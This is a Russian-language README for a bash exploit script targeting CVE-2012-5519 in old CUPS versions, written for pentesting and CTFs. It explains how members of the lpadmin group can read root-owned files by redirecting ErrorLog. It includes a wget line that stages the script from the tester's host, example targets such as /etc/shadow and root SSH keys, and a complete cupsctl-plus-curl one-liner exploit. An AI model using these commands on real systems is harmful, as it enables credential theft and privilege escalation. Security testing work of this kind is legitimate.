
cups-root-file-read.sh | CVE-2012-5519
bash-реализация модуля metasploit 'cups_root_file_read.rb', предназначенная для пентеста и CTF.
в основном это небольшое упражнение в написании bash-скриптов. предназначена как самодостаточная программа, эксплуатирующая CVE-2012-5519 на системах Linux;
она предоставляет пользователю интерактивный промпт, позволяя быстро читать несколько ограниченных файлов.
этот скрипт эксплуатирует уязвимость в CUPS (Common UNIX Printing System) версии < 1.6.2.
CUPS позволяет пользователям из группы lpadmin вносить изменения в файл cupsd.conf с помощью команды cupsctl.
эта команда также позволяет пользователю указать путь ErrorLog.
когда пользователь посещает страницу '/admin/log/error_log', демон cupsd, работающий с SUID root, читает путь ErrorLog и выводит его в виде обычного текста.
короче говоря, файлы, принадлежащие пользователю root, можно прочитать, если направить туда путь ErrorLog.
скрипт выполняет ряд проверок перед передачей промпта пользователю; однако все предварительные требования включают:
wget или nc, из-за ограничений по времени.cupsctl и т.д...предполагается, что скрипт будет использоваться для целей пентеста и CTF-мероприятий. поместите скрипт на целевую машину. это можно сделать различными способами. один из распространённых методов с целевой машины:
wget http://[мой ip]:[мой порт]/cups-root-file-read.sh
cups-root-file-read.sh не требует аргументов или флагов, но имеет два опциональных:
./cups-root-file-read.sh -h
./cups-root-file-read.sh не требует аргументов для запуска.
в настоящее время он только интерактивный.
использование: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: отключает функции, которые могут отрицательно повлиять на
программы чтения с экрана.
-h, --help: выводит это диалоговое сообщение.
после прохождения всех необходимых проверок для эксплойта,
пользователю будет предложено ввести данные.
введите полный путь к файлу для его чтения.
например:
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow и т.д...
запуск:
bash cups-root-file-read.sh
или
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
или если вы хотите прочитать только один файл:
echo '/etc/shadow' | ./cups-root-file-read.sh
после прохождения начальных проверок функциональности и уязвимости пользователю предоставляется промпт, позволяющий ввести абсолютный путь к существующему файлу. содержимое каждого файла будет выведено в терминал.
хотя скрипт можно использовать для проверки ограниченных файлов и их чтения, он более полезен, если пользователь уже знает о существовании ограниченных файлов, которые он хочет просмотреть. например:
у скрипта и эксплойта есть несколько ограничений. и насколько мне известно, модуль 'cups_root_file_read.rb' для metasploit также страдает от тех же ограничений.
ввод пользователя должен быть абсолютным путём к существующему файлу, который пользователь хочет просмотреть, и не должен содержать пробелов нигде в файле или пути. это связано с тем, что команда cupsctl не может корректно обрабатывать пробелы, даже с кавычками (например, ErrorLog='/path to/file.txt') и разделит ввод по пробелам на отдельные директивы с булевым значением 'true'.
предыдущий пример, если его отправить, будет записан в файл cupsd.conf как:
ErrorLog=/path
to/file.txt=true
это вызывает ошибки, которые записываются в журнал ошибок, который может быть важным файлом, если он был указан в пути ErrorLog в предыдущей успешной попытке прочитать файл. Поэтому скрипт проверяет наличие пробелов и отфильтровывает их.
несмотря на проверки, чтобы убедиться, что пользователь отправляет нечто, похожее на абсолютный путь и файл, не все ошибки можно перехватить до того, как они будут переданы серверу с помощью команды cupsctl:
файлы, существующие в корневом каталоге, можно прочитать (например, '/file.txt'), но также могут быть отправлены обычные каталоги unix, такие как '/tmp' и '/root' (намеренно или по ошибке пользователя). нет перехвата таких системных каталогов, и они вернут коды состояния 404 от сервера. пользователь информируется об этом.
несуществующие каталоги, указанные в пути (например, '/tmp/non-existent-directory/file.txt'), также приведут к возврату сервером кода состояния 404.
попытка просмотреть несуществующие файлы (например, '/root/non-existent-file.txt') приведёт к их созданию в качестве нового журнала ошибок. пользователь информируется об этом в выводе и о том, что пустой файл мог быть создан скриптом эксплойта, если его не было там раньше. всегда существует вероятность, что эти пустые файлы могли быть созданы системным пользователем для каких-либо целей примерно в то же время, когда был запущен скрипт, поэтому они не удаляются.
хотя в linux есть команды для проверки существования файла или каталога, эта функция не была реализована в скрипте до передачи пользовательского ввода команде cupsctl, поскольку команды проверки не работают, если файл или каталог находится в месте, недоступном текущему пользователю (например, '/root') по очевидным причинам безопасности. поскольку скрипт предназначен для чтения таких недоступных файлов, такая функция была бы бессмысленной.
иногда могут возникать ошибки cupsctl при внесении изменений, как вручную, так и через cups-root-file-read.sh. в то время как cups-root-file-read.sh обрабатывает нестандартный ввод пользователя и некоторые ошибки, эти ошибки cupsctl, возникающие при внесении изменений в файл cupsd.conf или при запросе веб-страницы, не обрабатываются. cups-root-file-read.sh просто завершится. в этих случаях скрипт можно запустить снова и предпринять ещё одну попытку.
скрипт в основном был упражнением в создании короткой, всеобъемлющей, самодостаточной программы для одного эксплойта с учётом читаемости и доступности.
скрипт предназначен для проверки наличия CVE-2012-5519 и последующего быстрого и лёгкого чтения нескольких ограниченных файлов во время эксплуатации. для этой цели, я считаю, он значительно быстрее, чем модуль metasploit и ручной ввод команды с многократным редактированием (надеюсь). но, тем не менее, если пользователь знает, что целевая машина уязвима, того же результата можно достичь с помощью чего-то вроде:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
на 2022 год этому эксплойту 10 лет. если целевая машина тоже старая, возможно, что версии различных команд, используемых в скрипте, не имеют той функциональности, которая у них есть сейчас. это может также относиться и к версии bash. к сожалению, у меня были ограничения по времени, и я не смог протестировать скрипт в более широком диапазоне сред. он может быть более полезен для CTF.
изначально скрипт предполагалось создать на python3, но я сталкивался с ситуациями, когда python2 и python3 были недоступны пользователю после получения доступа к системе как непривилегированный пользователь. bash почти всегда доступен в системе Linux, как и обычные команды Linux, поэтому реализация на bash показалась более безопасным вариантом.
встроенные команды bash используются насколько это возможно, однако скрипт полагается на некоторые внешние команды, такие как sort, head и curl (и, конечно, cupsctl, используемый как часть эксплойта). в настоящее время проверок на эти команды нет, и нет альтернативы из-за временных ограничений. скрипт завершится ошибкой, если эти команды недоступны :(
https://argbash.io - за помощь с начальными аргументами скрипта.
https://skerritt.blog/a11y/ - реализация доступности.